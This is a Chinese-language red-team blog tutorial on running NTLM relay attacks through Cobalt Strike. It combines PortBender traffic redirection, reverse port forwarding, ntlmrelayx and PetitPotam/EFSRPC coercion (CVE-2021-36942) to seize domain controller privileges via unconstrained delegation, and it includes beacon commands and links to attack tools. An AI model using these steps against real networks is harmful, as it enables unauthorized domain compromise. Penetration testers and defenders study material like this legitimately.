0x01前言
NTLM 中继是一种众所周知的技术,主要用于安全评估,以便在网络中的服务器上建立某种立足点或用于特权升级场景。这种攻击在没有为 LDAP 和 SMB 协议启用签名的网络中是可行的。relay攻击在内网中确实存在的,大家基本都会在自己环境测试一下成功,但是在实际攻防中使用的人确实很少。因为实现relay基本都需要impacket组件下的ntlmrelayx.py,内网渗透中也不能让你去对方linux机器上装impacket,而且红队使用CS的人居多,但是有很多人还是不知道如何使用CS进行relay,这篇文章将使用EFSRPC的relay,结合CS获取域控权限。
0x02 CS Relay
当然,一切的攻击都存在前提,relay也不例外。
首先,要让CS使用relay,这里采用PortBender cna脚本,原理也很简单:
- 接收流量:当前用户权限可以安装WinDivert64驱动,在windows 445端口有连接的时候会把流量重定向你定义的8445端口,在使用rportfwd_local 8445 192.168.1.1 445,此命令会在beacon中监听8445端口,把流量重定向到CS服务端内网中192.168.1.1的445端口,此时ntlmrelayx就监听在172.20.77.73的445端口,就可以在自己可控的LInux收到内网的445流量了。
- 回传流量:利用cs的socks功能,当然你觉得这方式慢也可以使用自己的SOCKS代理工具。在proxychains设置代理,在上一步中的ntlmrelayx监听时,前面加上proxychains,这样就实现了流量回传到目标内网环境的机器中。
原理图如下:
0x03 EFSRPC调用
微软CVE链接:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942。
此漏洞使用lsass进程中暴露出来的lsarpc接口,主要调用了MS-EFSR协议EfsRpcOpenFileRaw请求指定的IP。总结下来,本地请求就可以利用impersonte提权,远程就是relay中继。
微软文档使用图示演示了此RPC调用的过程:
从上图可以看出来,使用EFSRPC 的UUID调用RPC建立连接,之后使用EfsRpcOpenFileRaw之类函数,执行所需要功能。
所以关于RPC服务器的安全大致分为如下两类:
1.端点保护
程序可以使用RpcServerUseProtseqEp API注册 RPC 服务器端点 。例如ncalrpc (ALPC)、ncacn_np(命名管道)或ncacn_ip_tcp(TCP 套接字)并创建监听端点。例如,创建一个名为DEMO的命名管道端点。
RpcServerUseProtseqEp(
L"ncacn_np",
RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
L"\\\\pipe\\\\demo",
nullptr //SD acl控制
);
由于RPC 端点是多路复用的。没有将端点与要访问的 RPC 接口有硬关联。所以,我们可以连接到进程创建的任何端点。最终结果是,如果同一进程中存在安全性较低的端点,则可以通过其获取到高权限。一般来说,这使得依赖端点安全有风险,尤其是在运行多个服务(例如 LSASS)的进程中。
2.接口保护
保护 RPC 服务器的一个方法是保护接口本身。 RpcServerRegisterIf3和 RpcServerInterfaceGroupCreate ,它们是在 Windows 8 中引入的。后者只是一种在一次调用中注册多个接口的方法,因此我们只关注前者。该 RpcServerRegisterIf3具有三个参数 SecurityDescriptor, IfCallback和 Flags影响安全。
3.实际测试
使用Relay工具:https://github.com/topotam/PetitPotam,具体复现可以参考此[文章](https://www.freebuf.com/articles/system/282912.html)。
内网relay调用:
使用提权的工具:https://github.com/zcgonvh/EfsPotato
通过模拟令牌,本地提权:
0x04 结合测试
将relay与CS结合,实现中继,这里我选择的场景:无约束委派。
环境准备:
1.vps linux 安装 impacket
2.可控的内网的机器
3.无约束委派的机器
测试执行流程:
1.Get-ADComputer -Identity win10a | Set-ADAccountControl -TrustedForDelegation $true 设置无约束委派
2.创建SPN
3.创建DNS
4.ntlmrelayx监听
5.使用工具relay调用
CS上需要执行的命令:
- socks 1080
- rportfwd_local 8445 172.20.77.73 445 (本地内网172.20.77.73 nltmrelayx 监听的机器)或 rportfwd 8445 127.0.0.1 445 (在VPS上监听 445)
- upload WinDivert64.sys
- PortBender redirect 445 8445
效果如下:
0x05 总结
本文主要就介绍了,在CS中如何进行relay,在实战中根据环境不同,可能限制还是很多。可控的高权限机器,relay的机器可以互通,网速慢导致丢包失败等,其中的rportfwd和socks,可以使用其他代理工具实现,速度也会快点。
发表评论
您还未登录,请先登录。
登录